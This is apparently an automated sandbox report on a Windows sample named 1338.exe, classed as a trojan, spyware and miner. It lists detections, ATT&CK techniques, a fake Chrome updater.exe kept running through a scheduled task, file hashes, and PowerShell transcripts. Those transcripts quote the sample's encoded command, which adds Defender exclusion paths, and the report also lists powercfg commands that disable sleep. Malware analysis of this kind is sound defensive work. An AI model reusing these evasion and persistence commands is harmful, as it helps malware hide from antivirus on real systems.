Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	1 Scheduled Task/Job	512 Process Injection	113 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	11 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Scheduled Task/Job	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	Logon Script (Windows)	512 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 PowerShell	Logon Script (Mac)	Logon Script (Mac)	2 Deobfuscate/Decode Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 File Deletion	DCSync	12 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
1338.exe	68%	Virustotal		Browse
1338.exe	33%	Metadefender		Browse
1338.exe	73%	ReversingLabs	Win64.Hacktool.Sysdupate
1338.exe	100%	Avira	HEUR/AGEN.1205338

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Program Files\Google\Chrome\updater.exe	100%	Avira	HEUR/AGEN.1205338
C:\Program Files\Google\Chrome\updater.exe	68%	Virustotal		Browse
C:\Program Files\Google\Chrome\updater.exe	33%	Metadefender		Browse
C:\Program Files\Google\Chrome\updater.exe	73%	ReversingLabs	Win64.Hacktool.Sysdupate

Unpacked PE Files

Source	Detection	Scanner	Label	Download
37.0.conhost.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1205338	Download File
37.0.conhost.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1205338	Download File
37.0.conhost.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1205338	Download File
23.2.updater.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1205338	Download File
37.0.conhost.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1205338	Download File
37.2.conhost.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1205338	Download File
37.0.conhost.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1205338	Download File
23.0.updater.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1205338	Download File
37.0.conhost.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1205338	Download File
37.0.conhost.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1205338	Download File
0.0.1338.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1205338	Download File
0.2.1338.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1205338	Download File
37.0.conhost.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1205338	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.microsoft.coji	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.jsonrpc.org/	0%	URL Reputation	safe
https://www.vign.	0%	Avira URL Cloud	safe
http://crl.micros	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.microsoft.coji	powershell.exe, 00000004.00000003.442875745.000002986A154000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.478394402.0000029862043000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 00000004.00000003.442875745.000002986A154000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000004.00000002.478242785.00000298536E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.478394402.0000029862043000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.478394402.0000029862043000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.478394402.0000029862043000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.478394402.0000029862043000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jsonrpc.org/	conhost.exe, 00000018.00000002.661999485.0000027E112A3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	conhost.exe, 00000001.00000002.516335707.000002779FFB6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.469069937.0000029851FE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.599425355.0000023C45321000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/openwall/john/issues/3454#issuecomment-436899959	conhost.exe, 00000018.00000002.655565529.0000027E1095A000.00000004.00000800.00020000.00000000.sdmp, conhost.exe, 00000018.00000002.661999485.0000027E112A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.vign.	powershell.exe, 00000004.00000002.479136799.000002986A060000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micros	powershell.exe, 00000004.00000002.479466307.000002986A4C0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.gnu.org/licenses/	conhost.exe, 00000018.00000002.655565529.0000027E1095A000.00000004.00000800.00020000.00000000.sdmp, conhost.exe, 00000018.00000002.661999485.0000027E112A3000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	633539
Start date and time: 24/05/202222:18:01	2022-05-24 22:18:01 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	1338.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@52/13@0/0
EGA Information:	Successful, ratio: 83.3%
HDC Information:	Successful, ratio: 44.6% (good quality ratio 30.4%) Quality average: 45% Quality standard deviation: 38.6%
HCA Information:	Successful, ratio: 99% Number of executed functions: 64 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Execution Graph export aborted for target powershell.exe, PID 6280 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:19:14	API Interceptor	1x Sleep call for process: 1338.exe modified
22:19:19	API Interceptor	59x Sleep call for process: powershell.exe modified
22:19:44	Task Scheduler	Run new task: GoogleUpdateTaskMachineQC path: "C:\Program Files\Google\Chrome\updater.exe"
22:19:56	API Interceptor	1x Sleep call for process: updater.exe modified
22:20:51	API Interceptor	78x Sleep call for process: conhost.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Program Files\Google\Chrome\updater.exe	[RDR2]Mode-MENU.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

Download File

Process:	C:\Windows\System32\conhost.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1951744
Entropy (8bit):	7.999416157743483
Encrypted:	true
SSDEEP:	49152:bSq99dc5dgyd2j/audFlu5EWEKzCOg/t/XBbntjrXfNpTM:b59STNYjFF8EKLgVRbtjrXH
MD5:	AC711E6653707F0B1D245FF40D95385F
SHA1:	279B9ABAF000303983D6ECFB91E8B221B00FB198
SHA-256:	909409814D725477622728168035C3F2D259B5D8AA1CA77403D8C259BD7ABA63
SHA-512:	D394116574E829BC30EEBEBC71ADADB2894D00E7DC31F35EAE0A67675C5FC093BE660382F242A80DFACF5415175B1FFD5817BD408C82F5800E52EA5E4196326E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Virustotal, Detection: 68%, Browse Antivirus: Metadefender, Detection: 33%, Browse Antivirus: ReversingLabs, Detection: 73%
Joe Sandbox View:	Filename: [RDR2]Mode-MENU.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./...........................@.....................................\....................................................... ...<.......0...........................................................................\................................text............................... ..`.rdata..l.... ......................@..@.bss.....................................pdata..............................@..@.rsrc...0...........................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Google\Chrome\updater.exe:Zone.Identifier

Download File

Process:	C:\Windows\System32\conhost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Download File

Process:	C:\Windows\System32\conhost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	443
Entropy (8bit):	5.329235780090069
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTxAIWzAbDLI4MNCIBTav:ML9E4Kr8sXE4+Y
MD5:	4B5F77D7DC008444A394BA7804852C7F
SHA1:	78A05517844669432DE9E5A969BF3D36A34BDCF5
SHA-256:	F53487DA3DC7ED3FE66BB543B1596A8E87AF2B75FFDA4CE72B4965635998C535
SHA-512:	2017C8491B5AB578C8CF2B424AB82D733E94CA66AB0F63EC16908CCDEE22DD9DF7E9BBEE4FA43FAF60857A3EA1437B52A18BD1EE374F95F397CAF7FA794E73F2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1292
Entropy (8bit):	5.351662875791918
Encrypted:	false
SSDEEP:	24:3vQPpQrLAo4KAxX5qRPD42HOoVZe9t4CvKuKnKJRSF8PQ9eF:oPerB4nqRL/Hvfe9t4Cv94aR48Y9eF
MD5:	7350077B94CE0B377F5777951DA008BA
SHA1:	7B4DBDAD5882D960A13748B5A5E4D9B04E6B0724
SHA-256:	FB0F3EDD76324917FAAF82F06D434D956A1686CAD6DB46228EABD7F9FFFF9974
SHA-512:	48DE509CCDB58A1433F29F77DDD784921783E6116AA039FFB752AE0BE8544A1740526972E9F9DDCCA6B084119FA7FECEB32DD40A51AB010C0EFE87098807A032
Malicious:	false
Preview:	@...e................................................@..........8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iz5dcerk.5l1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_luxykyrv.0d4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\Documents\20220524\PowerShell_transcript.138727.wGZBkiVH.20220524221918.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	6366
Entropy (8bit):	5.5669525407628635
Encrypted:	false
SSDEEP:	96:BZYG/EN2TkgalkUqDo1ZHaZi/EN2TkgalkUqDo1Z86jAjijjZj/EN2TkgalkUqD9:UuTfalkQTfalkGTfalk1
MD5:	0C5F24AC3F3773FEEF32AC2A139871D1
SHA1:	3C3772E6BCE7381730CF37B74ADB8C72265BC8B0
SHA-256:	8EFFDDE982D27DD9B3FDEC8C2F88EF85464B80B107C4887D8EDB976340BD2045
SHA-512:	1431FDB15939AF3351E2BECFAE308D20A1D9F055CBD06ECA9E87DD6516C37A1BD31C57081193EDA797B442759C2A6C4EB041904227F9DF070E89D0BB755FE1D4
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220524221919..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 138727 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -EncodedCommand PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A..Process ID: 6280..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220524221919..********************..PS><#mo#> Add-MpPreference <#sun#> -ExclusionPath @($e

C:\Windows\System32\20220524\PowerShell_transcript.138727.N6O0aqP_.20220524222001.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	6330
Entropy (8bit):	5.571120625511297
Encrypted:	false
SSDEEP:	96:BZYNEN2TkgalkZqDo1ZWaZNNEN2TkgalkZqDo1Zt6jAjijjZnNEN2TkgalkZqDoY:STfalkRTfalk+Tfalkw
MD5:	6B46A65B7C23145B8AA479C1A4922E0D
SHA1:	9B767D0563C67E0F7D970ECC19BC3B4F3A6114A2
SHA-256:	79A6D830DE77785BE17BA531028CE085CFE7EDAF4C3ABD98BCE92988C416FFD9
SHA-512:	CE19854E88FE6A4BE06674B81107706A9506120004650FEB4E259E227855BC3A942322AEC9120BC15343DFA58D920730BCA1A372594B56D11721F1C6963984E8
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220524222003..Username: WORKGROUP\SYSTEM..RunAs User: WORKGROUP\SYSTEM..Configuration Name: ..Machine: 138727 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -EncodedCommand PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A..Process ID: 6476..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220524222003..********************..PS><#mo#> Add-MpPreference <#sun#> -ExclusionPath @($env:UserProfi

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Download File

Process:	C:\Windows\System32\conhost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	539
Entropy (8bit):	5.348465763088588
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTxAIWzAbDLI4MNCIBTaDAWDLI4MWuCv:ML9E4Kr8sXE4+aE4Ks
MD5:	AD3DC4BDB13FFE4ABD214A6EB4E5A519
SHA1:	A2C3FCBCA3F40AE579E303AA8E8E2810860F088C
SHA-256:	EEA4FDD5FA39D6145F4C5ABFB3BEB63C1D750B2BBA95D5D9D52F245AA07DC02D
SHA-512:	50E0046F80823EB299545C16DD4A027A6294CC74294AE12D9A40F62FB6F1E92319511E90486427F2FEE44E6BB3E1317EA582284FB6CD82CA1BE9B5F3614BBE12
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\d0f4eb5b1d0857aabc3e7dd079735875\System.Management.ni.dll",0..2,"System.IO.Compression, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	18817
Entropy (8bit):	5.001217266823362
Encrypted:	false
SSDEEP:	384:ufib4GGVoGIpN6KQkj2Akjh4iUxGzCdaOdB/NXp5CvOjJEYoV4fib41:uIGV3IpNBQkj25h4iUxGzCdaOdB/NZwY
MD5:	DB93B232EFF0785FDDC28A0D5DAE38D2
SHA1:	AF5AFE47557C49F165F66B2B63962D9EB28E3157
SHA-256:	92939214003421B64153B215D15F89595673C709110FC6E005FF955F6684C390
SHA-512:	5D161CFEE2631553AC2FA8EE407FE4CBA23C9A666BB69049C0FCCBEE99413983C678E4779426532FB4F5E622155C9EFF8DA57CD93AE4453D57301B32C19CBAA9
Malicious:	false
Preview:	PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1292
Entropy (8bit):	5.328578206529804
Encrypted:	false
SSDEEP:	24:3vRPpQrLAo4KAxX5qRPD42HOoVZe9t4CvKuKnKJRSF8PQ9eF:pPerB4nqRL/Hvfe9t4Cv94aR48Y9eF
MD5:	8AF75C45817AC79514D6CC38A486B805
SHA1:	CED8C609967BA48826C01D45CECE111BB9797BCE
SHA-256:	9B93C0BEB81A37BD904ECDB52F7F83284E2BD49F7CBC3D387774F47CFD37CD74
SHA-512:	29587826FFB78B7D38B4D66B638A885AA100578FE487F660E718568A848FCBF238AC0642AEC0ADF4299FC2BCF1D152A84D789BD211A21FF2EF4632BD10332DD5
Malicious:	false
Preview:	@...e...........................................................8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o...A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q..........System.Xml..4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<...............)L..Pz.O.E.R............System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Windows\Temp\__PSScriptPolicyTest_5xvkmjam.hyi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Windows\Temp\__PSScriptPolicyTest_frzn2qj0.jw3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.999416157743483
TrID:	Win64 Executable (generic) (12005/4) 74.80% Generic Win/DOS Executable (2004/3) 12.49% DOS Executable Generic (2002/1) 12.47% VXD Driver (31/22) 0.19% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	1338.exe
File size:	1951744
MD5:	ac711e6653707f0b1d245ff40d95385f
SHA1:	279b9abaf000303983d6ecfb91e8b221b00fb198
SHA256:	909409814d725477622728168035c3f2d259b5d8aa1ca77403d8c259bd7aba63
SHA512:	d394116574e829bc30eebebc71adadb2894d00e7dc31f35eae0a67675c5fc093be660382f242a80dfacf5415175b1ffd5817bd408c82f5800e52ea5e4196326e
SSDEEP:	49152:bSq99dc5dgyd2j/audFlu5EWEKzCOg/t/XBbntjrXfNpTM:b59STNYjFF8EKLgVRbtjrXH
TLSH:	179533146EA9DF6DF84754787915621DACE9E8334B2890AF241466B10BF5CB303FE3E8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./...........................@.....................................\......................................

File Icon


